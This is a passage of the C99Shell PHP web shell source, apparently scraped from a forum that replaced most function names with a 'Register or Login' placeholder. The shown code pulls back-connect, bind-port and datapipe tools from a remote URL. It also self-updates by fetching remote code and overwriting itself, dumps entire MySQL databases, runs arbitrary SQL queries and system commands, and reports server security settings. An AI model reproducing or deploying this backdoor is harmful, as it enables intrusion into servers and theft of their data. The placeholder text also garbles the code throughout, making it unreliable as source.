  511. function c99getsource($fn)
  512. {
  513.  global $c99sh_sourcesurl;
  514.  $array = You are not allowed to view links. Register or Login(
  515.   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  516.   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  517.   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  518.   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  519.   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  520.   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  521.  );
  522.  $name = $array[$fn];
  523.  if ($name) {return You are not allowed to view links. Register or Login($c99sh_sourcesurl.$name);}
  524.  else {return false;}
  525. }
  526. }
  527. if (!You are not allowed to view links. Register or Login("c99sh_getupdate"))
  528. {
  529. function c99sh_getupdate($update = true)
  530. {
  531.  $url = $GLOBALS["c99sh_updateurl"]."?version=".You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  532.  $data = @You are not allowed to view links. Register or Login($url);
  533.  if (!$data) {return "Can't connect to update-server!";}
  534.  else
  535.  {
  536.   $data = You are not allowed to view links. Register or Login($data);
  537.   $string = You are not allowed to view links. Register or Login($data,3,You are not allowed to view links. Register or Login($data{2}));
  538.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;}
  539.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  540.   if ($data{0} == "\x99" and $data{1} == "\x03")
  541.   {
  542.    $string = You are not allowed to view links. Register or Login("\x01",$string);
  543.    if ($update)
  544.    {
  545.     $confvars = You are not allowed to view links. Register or Login();
  546.     $sourceurl = $string[0];
  547.     $source = You are not allowed to view links. Register or Login($sourceurl);
  548.     if (!$source) {return "Can't fetch update!";}
  549.     else
  550.     {
  551.      $fp = You are not allowed to view links. Register or Login(__FILE__,"w");
  552.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  553.      else {You are not allowed to view links. Register or Login($fp,$source); You are not allowed to view links. Register or Login($fp); return "Thanks! Updated with success.";}
  554.     }
  555.    }
  556.    else {return "New version are available: ".$string[1];}
  557.   }
  558.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {You are not allowed to view links. Register or Login($string); return 1;}
  559.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  560.  }
  561. }
  562. }
  563. if (!You are not allowed to view links. Register or Login("mysql_dump"))
  564. {
  565. function mysql_dump($set)
  566. {
  567.  global $shver;
  568.  $sock = $set["sock"];
  569.  $db = $set["db"];
  570.  $print = $set["print"];
  571.  $nl2br = $set["nl2br"];
  572.  $file = $set["file"];
  573.  $add_drop = $set["add_drop"];
  574.  $tabs = $set["tabs"];
  575.  $onlytabs = $set["onlytabs"];
  576.  $ret = You are not allowed to view links. Register or Login();
  577.  $ret["err"] = You are not allowed to view links. Register or Login();
  578.  if (!You are not allowed to view links. Register or Login($sock)) {echo("Error: \$sock is not valid resource.");}
  579.  if (You are not allowed to view links. Register or Login($db)) {$db = "db";}
  580.  if (You are not allowed to view links. Register or Login($print)) {$print = 0;}
  581.  if (You are not allowed to view links. Register or Login($nl2br)) {$nl2br = 0;}
  582.  if (You are not allowed to view links. Register or Login($add_drop)) {$add_drop = true;}
  583.  if (You are not allowed to view links. Register or Login($file))
  584.  {
  585.   $file = $tmpdir."dump_".You are not allowed to view links. Register or Login("SERVER_NAME")."_".$db."_".You are not allowed to view links. Register or Login("d-m-Y-H-i-s").".sql";
  586.  }
  587.  if (!You are not allowed to view links. Register or Login($tabs)) {$tabs = You are not allowed to view links. Register or Login();}
  588.  if (You are not allowed to view links. Register or Login($add_drop)) {$add_drop = true;}
  589.  if (You are not allowed to view links. Register or Login($tabs) == 0)
  590.  {
  591.   // retrive tables-list
  592.   $res = You are not allowed to view links. Register or Login("SHOW TABLES FROM ".$db, $sock);
  593.   if (You are not allowed to view links. Register or Login($res) > 0) {while ($row = You are not allowed to view links. Register or Login($res)) {$tabs[] = $row[0];}}
  594.  }
  595.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  596. # Home page: http://ccteam.ru
  597. #
  598. # Host settings:
  599. # MySQL version: (".You are not allowed to view links. Register or Login().") running on ".You are not allowed to view links. Register or Login("SERVER_ADDR")." (".You are not allowed to view links. Register or Login("SERVER_NAME").")"."
  600. # Date: ".You are not allowed to view links. Register or Login("d.m.Y H:i:s")."
  601. # DB: \"".$db."\"
  602. #---------------------------------------------------------
  603. ";
  604.  $c = You are not allowed to view links. Register or Login($onlytabs);
  605.  foreach($tabs as $tab)
  606.  {
  607.   if ((You are not allowed to view links. Register or Login($tab,$onlytabs)) or (!$c))
  608.   {
  609.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  610.    // recieve query for create table structure
  611.    $res = You are not allowed to view links. Register or Login("SHOW CREATE TABLE `".$tab."`", $sock);
  612.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  613.    else
  614.    {
  615.     $row = You are not allowed to view links. Register or Login($res);
  616.     $out .= $row["1"].";\n\n";
  617.     // recieve table variables
  618.     $res = You are not allowed to view links. Register or Login("SELECT * FROM `$tab`", $sock);
  619.     if (You are not allowed to view links. Register or Login($res) > 0)
  620.     {
  621.      while ($row = You are not allowed to view links. Register or Login($res))
  622.      {
  623.       $keys = You are not allowed to view links. Register or Login("`, `", You are not allowed to view links. Register or Login($row));
  624.       $values = You are not allowed to view links. Register or Login($row);
  625.       foreach($values as $k=>$v) {$values[$k] = You are not allowed to view links. Register or Login($v);}
  626.       $values = You are not allowed to view links. Register or Login("', '", $values);
  627.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  628.       $out .= $sql;
  629.      }
  630.     }
  631.    }
  632.   }
  633.  }
  634.  $out .= "#---------------------------------------------------------------------------------\n\n";
  635.  if ($file)
  636.  {
  637.   $fp = You are not allowed to view links. Register or Login($file, "w");
  638.   if (!$fp) {$ret["err"][] = 2;}
  639.   else
  640.   {
  641.    You are not allowed to view links. Register or Login ($fp, $out);
  642.    You are not allowed to view links. Register or Login ($fp);
  643.   }
  644.  }
  645.  if ($print) {if ($nl2br) {echo You are not allowed to view links. Register or Login($out);} else {echo $out;}}
  646.  return $out;
  647. }
  648. }
  649. if (!You are not allowed to view links. Register or Login("mysql_buildwhere"))
  650. {
  651. function mysql_buildwhere($array,$sep=" and",$functs=You are not allowed to view links. Register or Login())
  652. {
  653.  if (!You are not allowed to view links. Register or Login($array)) {$array = You are not allowed to view links. Register or Login();}
  654.  $result = "";
  655.  foreach($array as $k=>$v)
  656.  {
  657.   $value = "";
  658.   if (!You are not allowed to view links. Register or Login($functs[$k])) {$value .= $functs[$k]."(";}
  659.   $value .= "'".You are not allowed to view links. Register or Login($v)."'";
  660.   if (!You are not allowed to view links. Register or Login($functs[$k])) {$value .= ")";}
  661.   $result .= "`".$k."` = ".$value.$sep;
  662.  }
  663.  $result = You are not allowed to view links. Register or Login($result,0,You are not allowed to view links. Register or Login($result)-You are not allowed to view links. Register or Login($sep));
  664.  return $result;
  665. }
  666. }
  667. if (!You are not allowed to view links. Register or Login("mysql_fetch_all"))
  668. {
  669. function mysql_fetch_all($query,$sock)
  670. {
  671.  if ($sock) {$result = You are not allowed to view links. Register or Login($query,$sock);}
  672.  else {$result = You are not allowed to view links. Register or Login($query);}
  673.  $array = You are not allowed to view links. Register or Login();
  674.  while ($row = You are not allowed to view links. Register or Login($result)) {$array[] = $row;}
  675.  You are not allowed to view links. Register or Login($result);
  676.  return $array;
  677. }
  678. }
  679. if (!You are not allowed to view links. Register or Login("mysql_smarterror"))
  680. {
  681. function mysql_smarterror($type,$sock)
  682. {
  683.  if ($sock) {$error = You are not allowed to view links. Register or Login($sock);}
  684.  else {$error = You are not allowed to view links. Register or Login();}
  685.  $error = You are not allowed to view links. Register or Login($error);
  686.  return $error;
  687. }
  688. }
  689. if (!You are not allowed to view links. Register or Login("mysql_query_form"))
  690. {
  691. function mysql_query_form()
  692. {
  693.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  694.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  695.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  696.  if ((!$submit) or ($sql_act))
  697.  {
  698.   echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".You are not allowed to view links. Register or Login($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".You are not allowed to view links. Register or Login($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".You are not allowed to view links. Register or Login($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  699.   if ($tbl_struct)
  700.   {
  701.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  702.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  703.    echo "</td></tr></table>";
  704.   }
  705.  }
  706.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  707. }
  708. }
  709. if (!You are not allowed to view links. Register or Login("mysql_create_db"))
  710. {
  711. function You are not allowed to view links. Register or Login($db,$sock="")
  712. {
  713.  $sql = "CREATE DATABASE `".You are not allowed to view links. Register or Login($db)."`;";
  714.  if ($sock) {return You are not allowed to view links. Register or Login($sql,$sock);}
  715.  else {return You are not allowed to view links. Register or Login($sql);}
  716. }
  717. }
  718. if (!You are not allowed to view links. Register or Login("mysql_query_parse"))
  719. {
  720. function mysql_query_parse($query)
  721. {
  722.  $query = You are not allowed to view links. Register or Login($query);
  723.  $arr = You are not allowed to view links. Register or Login (" ",$query);
  724.  /*array array()
  725.  {
  726.   "METHOD"=>array(output_type),
  727.   "METHOD1"...
  728.   ...
  729.  }
  730.  if output_type == 0, no output,
  731.  if output_type == 1, no output if no error
  732.  if output_type == 2, output without control-buttons
  733.  if output_type == 3, output with control-buttons
  734.  */
  735.  $types = You are not allowed to view links. Register or Login(
  736.   "SELECT"=>You are not allowed to view links. Register or Login(3,1),
  737.   "SHOW"=>You are not allowed to view links. Register or Login(2,1),
  738.   "DELETE"=>You are not allowed to view links. Register or Login(1),
  739.   "DROP"=>You are not allowed to view links. Register or Login(1)
  740.  );
  741.  $result = You are not allowed to view links. Register or Login();
  742.  $op = You are not allowed to view links. Register or Login($arr[0]);
  743.  if (You are not allowed to view links. Register or Login($types[$op]))
  744.  {
  745.   $result["propertions"] = $types[$op];
  746.   $result["query"]  = $query;
  747.   if ($types[$op] == 2)
  748.   {
  749.    foreach($arr as $k=>$v)
  750.    {
  751.     if (You are not allowed to view links. Register or Login($v) == "LIMIT")
  752.     {
  753.      $result["limit"] = $arr[$k+1];
  754.      $result["limit"] = You are not allowed to view links. Register or Login(",",$result["limit"]);
  755.      if (You are not allowed to view links. Register or Login($result["limit"]) == 1) {$result["limit"] = You are not allowed to view links. Register or Login(0,$result["limit"][0]);}
  756.      You are not allowed to view links. Register or Login($arr[$k],$arr[$k+1]);
  757.     }
  758.    }
  759.   }
  760.  }
  761.  else {return false;}
  762. }
  763. }
  764. if (!You are not allowed to view links. Register or Login("c99fsearch"))
  765. {
  766. function c99fsearch($d)
  767. {
  768.  global $found;
  769.  global $found_d;
  770.  global $found_f;
  771.  global $search_i_f;
  772.  global $search_i_d;
  773.  global $a;
  774.  if (You are not allowed to view links. Register or Login($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  775.  $h = You are not allowed to view links. Register or Login($d);
  776.  while (($f = You are not allowed to view links. Register or Login($h)) !== false)
  777.  {
  778.   if($f != "." && $f != "..")
  779.   {
  780.    $bool = (You are not allowed to view links. Register or Login($a["name_regexp"]) and You are not allowed to view links. Register or Login($f,$a["name"]) !== false) || ($a["name_regexp"] and You are not allowed to view links. Register or Login($a["name"],$f));
  781.    if (You are not allowed to view links. Register or Login($d.$f))
  782.    {
  783.     $search_i_d++;
  784.     if (You are not allowed to view links. Register or Login($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  785.     if (!You are not allowed to view links. Register or Login($d.$f)) {c99fsearch($d.$f);}
  786.    }
  787.    else
  788.    {
  789.     $search_i_f++;
  790.     if ($bool)
  791.     {
  792.      if (!You are not allowed to view links. Register or Login($a["text"]))
  793.      {
  794.       $r = @You are not allowed to view links. Register or Login($d.$f);
  795.       if ($a["text_wwo"]) {$a["text"] = " ".You are not allowed to view links. Register or Login($a["text"])." ";}
  796.       if (!$a["text_cs"]) {$a["text"] = You are not allowed to view links. Register or Login($a["text"]); $r = You are not allowed to view links. Register or Login($r);}
  797.       if ($a["text_regexp"]) {$bool = You are not allowed to view links. Register or Login($a["text"],$r);}
  798.       else {$bool = You are not allowed to view links. Register or Login(" ".$r,$a["text"],1);}
  799.       if ($a["text_not"]) {$bool = !$bool;}
  800.       if ($bool) {$found[] = $d.$f; $found_f++;}
  801.      }
  802.      else {$found[] = $d.$f; $found_f++;}
  803.     }
  804.    }
  805.   }
  806.  }
  807.  You are not allowed to view links. Register or Login($h);
  808. }
  809. }
  810. if ($act == "gofile") {if (You are not allowed to view links. Register or Login($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = You are not allowed to view links. Register or Login($f); $f = You are not allowed to view links. Register or Login($f);}}
  811. //Sending headers
  812. @You are not allowed to view links. Register or Login();
  813. @You are not allowed to view links. Register or Login(0);
  814. function onphpshutdown()
  815. {
  816.  global $gzipencode,$ft;
  817.  if (!You are not allowed to view links. Register or Login() and $gzipencode and !You are not allowed to view links. Register or Login($ft,You are not allowed to view links. Register or Login("img","download","notepad")))
  818.  {
  819.   $v = @You are not allowed to view links. Register or Login();
  820.   @You are not allowed to view links. Register or Login();
  821.   @You are not allowed to view links. Register or Login("ob_gzHandler");
  822.   echo $v;
  823.   @You are not allowed to view links. Register or Login();
  824.  }
  825. }
  826. function c99shexit()
  827. {
  828.  onphpshutdown();
  829.  You are not allowed to view links. Register or Login;
  830. }
  831. You are not allowed to view links. Register or Login("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  832. You are not allowed to view links. Register or Login("Last-Modified: ".You are not allowed to view links. Register or Login("D, d M Y H:i:s")." GMT");
  833. You are not allowed to view links. Register or Login("Cache-Control: no-store, no-cache, must-revalidate");
  834. You are not allowed to view links. Register or Login("Cache-Control: post-check=0, pre-check=0", false);
  835. You are not allowed to view links. Register or Login("Pragma: no-cache");
  836. if (You are not allowed to view links. Register or Login($tmpdir))
  837. {
  838.  $tmpdir = You are not allowed to view links. Register or Login("upload_tmp_dir");
  839.  if (You are not allowed to view links. Register or Login($tmpdir)) {$tmpdir = "/tmp/";}
  840. }
  841. $tmpdir = You are not allowed to view links. Register or Login($tmpdir);
  842. $tmpdir = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$tmpdir);
  843. if (You are not allowed to view links. Register or Login($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  844. if (You are not allowed to view links. Register or Login($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  845. else {$tmpdir_logs = You are not allowed to view links. Register or Login($tmpdir_logs);}
  846. if (@You are not allowed to view links. Register or Login("safe_mode") or You are not allowed to view links. Register or Login(@You are not allowed to view links. Register or Login("safe_mode")) == "on")
  847. {
  848.  $safemode = true;
  849.  $hsafemode = "<font color=red>ON (secure)</font>";
  850. }
  851. else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  852. $v = @You are not allowed to view links. Register or Login("open_basedir");
  853. if ($v or You are not allowed to view links. Register or Login($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";}
  854. else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  855. $sort = You are not allowed to view links. Register or Login($sort);
  856. if (You are not allowed to view links. Register or Login($sort)) {$sort = $sort_default;}
  857. $sort[1] = You are not allowed to view links. Register or Login($sort[1]);
  858. $DISP_SERVER_SOFTWARE = You are not allowed to view links. Register or Login("SERVER_SOFTWARE");
  859. if (!You are not allowed to view links. Register or Login("PHP/".You are not allowed to view links. Register or Login(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".You are not allowed to view links. Register or Login();}
  860. $DISP_SERVER_SOFTWARE = You are not allowed to view links. Register or Login("PHP/".You are not allowed to view links. Register or Login(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".You are not allowed to view links. Register or Login()."</u></b></a>",You are not allowed to view links. Register or Login($DISP_SERVER_SOFTWARE));
  861. @You are not allowed to view links. Register or Login("highlight.bg",$highlight_bg); //FFFFFF
  862. @You are not allowed to view links. Register or Login("highlight.comment",$highlight_comment); //#FF8000
  863. @You are not allowed to view links. Register or Login("highlight.default",$highlight_default); //#0000BB
  864. @You are not allowed to view links. Register or Login("highlight.html",$highlight_html); //#000000
  865. @You are not allowed to view links. Register or Login("highlight.keyword",$highlight_keyword); //#007700
  866. @You are not allowed to view links. Register or Login("highlight.string",$highlight_string); //#DD0000
  867. if (!You are not allowed to view links. Register or Login($actbox)) {$actbox = You are not allowed to view links. Register or Login();}
  868. $dspact = $act = You are not allowed to view links. Register or Login($act);
  869. $disp_fullpath = $ls_arr = $notls = null;
  870. $ud = You are not allowed to view links. Register or Login($d);
  871. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo You are not allowed to view links. Register or Login("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo You are not allowed to view links. Register or Login(myshellexec("id"),90,"<br>",1);} else {echo You are not allowed to view links. Register or Login();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  872. $d = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$d);
  873. if (You are not allowed to view links. Register or Login($d)) {$d = You are not allowed to view links. Register or Login(".");} elseif(You are not allowed to view links. Register or Login($d)) {$d = You are not allowed to view links. Register or Login($d);}
  874. $d = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$d);
  875. if (You are not allowed to view links. Register or Login($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  876. $d = You are not allowed to view links. Register or Login("\\\\","\\",$d);
  877. $dispd = You are not allowed to view links. Register or Login($d);
  878. $pd = $e = You are not allowed to view links. Register or Login(DIRECTORY_SEPARATOR,You are not allowed to view links. Register or Login($d,0,-1));
  879. $i = 0;
  880. foreach($pd as $b)
  881. {
  882.  $t = "";
  883.  $j = 0;
  884.  foreach ($e as $r)
  885.  {
  886.   $t.= $r.DIRECTORY_SEPARATOR;
  887.   if ($j == $i) {break;}
  888.   $j++;
  889.  }
  890.  echo "<a href=\"".$surl."act=ls&d=".You are not allowed to view links. Register or Login($t)."&sort=".$sort."\"><b>".You are not allowed to view links. Register or Login($b).DIRECTORY_SEPARATOR."</b></a>";
  891.  $i++;
  892. }
  893. echo "&nbsp;&nbsp;&nbsp;";
  894. if (You are not allowed to view links. Register or Login($d))
  895. {
  896.  $wd = true;
  897.  $wdt = "<font color=green>[ ok ]</font>";
  898.  echo "<b><font color=green>".view_perms(You are not allowed to view links. Register or Login($d))."</font></b>";
  899. }
  900. else
  901. {
  902.  $wd = false;
  903.  $wdt = "<font color=red>[ Read-Only ]</font>";
  904.  echo "<b>".view_perms_color($d)."</b>";
  905. }
  906. if (You are not allowed to view links. Register or Login("disk_free_space"))
  907. {
  908.  $free = You are not allowed to view links. Register or Login($d);
  909.  $total = You are not allowed to view links. Register or Login($d);
  910.  if ($free === false) {$free = 0;}
  911.  if ($total === false) {$total = 0;}
  912.  if ($free < 0) {$free = 0;}
  913.  if ($total < 0) {$total = 0;}
  914.  $used = $total-$free;
  915.  $free_percent = You are not allowed to view links. Register or Login(100/($total/$free),2);
  916.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  917. }
  918. echo "<br>";
  919. $letters = "";
  920. if ($win)
  921. {
  922.  $v = You are not allowed to view links. Register or Login("\\",$d);
  923.  $v = $v[0];
  924.  foreach (You are not allowed to view links. Register or Login("a","z") as $letter)
  925.  {
  926.   $bool = $isdiskette = You are not allowed to view links. Register or Login($letter,$safemode_diskettes);
  927.   if (!$bool) {$bool = You are not allowed to view links. Register or Login($letter.":\\");}
  928.   if ($bool)
  929.   {
  930.    $letters .= "<a href=\"".$surl."act=ls&d=".You are not allowed to view links. Register or Login($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  931.    if ($letter.":" != $v) {$letters .= $letter;}
  932.    else {$letters .= "<font color=green>".$letter."</font>";}
  933.    $letters .= " ]</a> ";
  934.   }
  935.  }
  936.  if (!You are not allowed to view links. Register or Login($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  937. }
  938. if (You are not allowed to view links. Register or Login($quicklaunch) > 0)
  939. {
  940.  foreach($quicklaunch as $item)
  941.  {
  942.   $item[1] = You are not allowed to view links. Register or Login("%d",You are not allowed to view links. Register or Login($d),$item[1]);
  943.   $item[1] = You are not allowed to view links. Register or Login("%sort",$sort,$item[1]);
  944.   $v = You are not allowed to view links. Register or Login($d."..");
  945.   if (You are not allowed to view links. Register or Login($v)) {$a = You are not allowed to view links. Register or Login(DIRECTORY_SEPARATOR,$d); You are not allowed to view links. Register or Login($a[You are not allowed to view links. Register or Login($a)-2]); $v = You are not allowed to view links. Register or Login(DIRECTORY_SEPARATOR,$a);}
  946.   $item[1] = You are not allowed to view links. Register or Login("%upd",You are not allowed to view links. Register or Login($v),$item[1]);
  947.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  948.  }
  949. }
  950. echo "</p></td></tr></table><br>";
  951. if ((!You are not allowed to view links. Register or Login($donated_html)) and (You are not allowed to view links. Register or Login($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  952. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  953. if ($act == "") {$act = $dspact = "ls";}
  954. if ($act == "sql")
  955. {
  956.  $sql_surl = $surl."act=sql";
  957.  if ($sql_login)  {$sql_surl .= "&sql_login=".You are not allowed to view links. Register or Login($sql_login);}
  958.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".You are not allowed to view links. Register or Login($sql_passwd);}
  959.  if ($sql_server) {$sql_surl .= "&sql_server=".You are not allowed to view links. Register or Login($sql_server);}
  960.  if ($sql_port)   {$sql_surl .= "&sql_port=".You are not allowed to view links. Register or Login($sql_port);}
  961.  if ($sql_db)     {$sql_surl .= "&sql_db=".You are not allowed to view links. Register or Login($sql_db);}
  962.  $sql_surl .= "&";
  963.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  964.  if ($sql_server)
  965.  {
  966.   $sql_sock = You are not allowed to view links. Register or Login($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  967.   $err = mysql_smarterror();
  968.   @You are not allowed to view links. Register or Login($sql_db,$sql_sock);
  969.   if ($sql_query and $submit) {$sql_query_result = You are not allowed to view links. Register or Login($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  970.  }
  971.  else {$sql_sock = false;}
  972.  echo "<b>SQL Manager:</b><br>";
  973.  if (!$sql_sock)
  974.  {
  975.   if (!$sql_server) {echo "NO CONNECTION";}
  976.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  977.  }
  978.  else
  979.  {
  980.   $sqlquicklaunch = You are not allowed to view links. Register or Login();
  981.   $sqlquicklaunch[] = You are not allowed to view links. Register or Login("Index",$surl."act=sql&sql_login=".You are not allowed to view links. Register or Login($sql_login)."&sql_passwd=".You are not allowed to view links. Register or Login($sql_passwd)."&sql_server=".You are not allowed to view links. Register or Login($sql_server)."&sql_port=".You are not allowed to view links. Register or Login($sql_port)."&");
  982.   $sqlquicklaunch[] = You are not allowed to view links. Register or Login("Query",$sql_surl."sql_act=query&sql_tbl=".You are not allowed to view links. Register or Login($sql_tbl));
  983.   $sqlquicklaunch[] = You are not allowed to view links. Register or Login("Server-status",$surl."act=sql&sql_login=".You are not allowed to view links. Register or Login($sql_login)."&sql_passwd=".You are not allowed to view links. Register or Login($sql_passwd)."&sql_server=".You are not allowed to view links. Register or Login($sql_server)."&sql_port=".You are not allowed to view links. Register or Login($sql_port)."&sql_act=serverstatus");
  984.   $sqlquicklaunch[] = You are not allowed to view links. Register or Login("Server variables",$surl."act=sql&sql_login=".You are not allowed to view links. Register or Login($sql_login)."&sql_passwd=".You are not allowed to view links. Register or Login($sql_passwd)."&sql_server=".You are not allowed to view links. Register or Login($sql_server)."&sql_port=".You are not allowed to view links. Register or Login($sql_port)."&sql_act=servervars");
